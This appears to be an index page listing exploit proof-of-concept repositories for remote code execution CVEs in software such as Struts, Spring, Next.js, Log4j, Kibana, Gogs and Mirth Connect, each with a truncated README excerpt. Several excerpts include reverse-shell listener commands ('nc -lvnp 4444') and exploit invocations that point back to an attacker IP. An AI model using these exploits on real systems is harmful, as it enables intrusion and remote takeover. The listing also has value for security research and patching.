FastJson1.2.62-RCE

Fastjson=1.2.62 RCE Análisis de vulnerabilidad: https://www.cnblogs.com/tr1ple/p/12348886.html...

CVE-2023-33246

CVE-2023-33246 - RocketMQ Remote Code Execution CVE-2023-33246 - Apache RocketMQ config Remote Code Execution Exploit Overview RocketMQ is a distributed messaging and streaming platform. RocketMQ versions 5.1.0 and below are vulnerable to Arbitrary Code Injection. Broker component of RocketMQ is...

cve-2017-5638

cve-2017-5638 cve-2017-5638 Vulnerable site sample This project aims to demonstrate the CVE-2017-5638 exploitation for educational purpose. For more informations, see https://cwiki.apache.org/confluence/display/WW/S2-045 Legal Disclaimer This project is made for educational and ethical testing...

CVE-2025-24367-PoC-Cacti

Cacti CVE-2025-24367 Authenticated RCE PoC This repository contains a proof‑of‑concept exploit for CVE‑2025‑24367 , an authenticated remote code execution vulnerability in Cacti. The issue abuses insufficient input sanitization in graph template handling. By injecting malicious content into the...

PHP-CGI-Argument-Injection-Exploit

🎬 This YouTube video 1️⃣ Target Check Determine the Metasploitable IP from Kali: ip a For example: Kali: 192.168.56.101 Metasploitable2: 192.168.56.102 Let's check the port and service: nmap -p 80 192.168.56.102 You can also check in the browser: http://192.168.56.102/ 2️⃣ Start Metasploit...

CVE-2020-9547

CVE-2020-9547：FasterXML/jackson-databind Remote Code Execution Vulnerability...

CVE-2022-22965_PoC

Spring Framework RCE exploitation Quick pentest notes Step 1: Find some endpoint in your target where is accepted POST/PUT methods + encode your payload URL encode POST /path/upload HTTP/1.1 Host: Origin: Cookie: JSESSIONID=BE65B534335A5A2538624404C063B70C; Content-Type:...

CVE-2025-55182-PoC

⚡ React2Shell Exploit PoC CVE-2025-66478 Next.js Remote Code Execution RCE via Prototype Pollution in Server Components 🕵️‍♂️ Overview This repository contains a Proof of Concept PoC for CVE-2025-66478 also referenced as CVE-2025-55182 in some contexts, a critical vulnerability affecting Next.js...

CVE-2021-21389

CVE-2021-21389 BuddyPress 7.2.1 - REST API Privilege Escalation to RCE PoC Full Affected version: 5.0.0 to 7.2.0 User requirement: Subscriber user Method: Privilege Escalation to Administrator and trigger RCE via REST API Endpoint: /v1/members/me endpoint. How to use Docker git clone...

CVE-2023-43208

Mirth Connect RCE - CVE-2023-43208 Description PoC for Mirth Connect Remote Code Execution RCE Affects Mirth Connect Example Start listener nc -lvnp 4444 Run exploit ./exploit https://target.com 10.10.10.10 4444 References https://nvd.nist.gov/vuln/detail/CVE-2023-43208...

code-wsl-rce

Prueba de Concepto para VS Code Remote WSL Ejecución Remota de Código - CVE-2021-43907 Vea el blog en https://parsiya.net/blog/2021-12-20-rce-in-visual-studio-codes-remote-wsl-for-fun-and-negative-profit. También https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43907. Compilación 1...

Jboss_JMXInvokerServlet_Deserialization_RCE

JbossJMXInvokerServletDeserializationRCE Using Burp Suite to Exploit Java Deserialization Vulnerabilities 0x01 Setting Up the Jboss JMXInvokerServlet Deserialization Vulnerability Test Environment: Jboss JMXInvokerServlet Deserialization Vulnerability Vulnerability Principle: JBoss reads the...

IngressNightmare-RCE-POC

⚠️ Critical RCE in Ingress-NGINX via Configuration Injection CVE-2025-1974 and more This repository contains a proof-of-concept PoC exploit for CVE-2025-1974 , a Critical CVSS 9.8 vulnerability in the Ingress-NGINX controller for Kubernetes. This flaw allows unauthenticated remote code execution...

CVE-2025-8110

RCE - CVE-2025-59528 Gogs = 0.13.3 Exploit $ python3 CVE-2025-8110.py -h usage: CVE-2025-8110.py -h -u URL -lh HOST -lp PORT -user USERNAME -pass PASSWORD -x CVE-2025-8110 Gogs Exploit options: -h, --help show this help message and exit -u, --url URL Gogs base URL e.g., http://127.0.0.1:3000 -lh,...

CVE-2025-55182-React2Shell-CVSS-10.0-

Affected Software: React Server Components versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 Vulnerability Type: Pre-authentication Remote Code Execution via insecure deserialization. Description: A flaw in the React Server Flight protocol allows unauthenticated attackers to send specially crafted serializ...

CVE-2020-9380

PoC IPTV Smarters Exploit Usage python gld.py -u http://www.pirate-ilegal-tv.com/ -i Vulnerability file includes/ajax-control.php: ?php / @ PHP 5.6 @ Decoder version : 1.0.0.1 @ Release on : 24.03.2018 @ Website : http://EasyToYou.eu / sessionstart; if fileexists"functions.php" includeonce...

nmap-log4shell

Nmap Log4Shell NSE script for discovery Apache Log4j RCE CVE-2021-44228 nmap-log4shell is a NSE script for discovery Apache Log4j RCE CVE-2021-44228 vulnerability across the network. The script is able to inject the log4shell exploit payload via HTTP Headers default or via TCP/UDP socket...

QuickHeal

QuickHeal CVE-2017-5005 for Quick Heal Antivirus Advisory Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability. The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the...

CVE-2019-7609

CVE-2019-7609 Kibana Vulnerability allowing remote code execution due to a flaw in Kibana's Timelion visualizer Environment Setup docker 1. Run the attached docker-compose.yml. docker-compose up -d 2. Access http://127.0.0.1:5601 in a browser. Exploit 1. Prepare a reverse shell. $ nc -lvp 6666 2...

CVE-2019-9580

CVE-2019-9580 - StackStorm exploiting CORS null origin to gain RCE Prior to 2.10.3/2.9.3, if the origin of the request was unknown, we would return null. null can result in a successful request from an unknown origin in some clients. Allowing the possibility of XSS style attacks against the...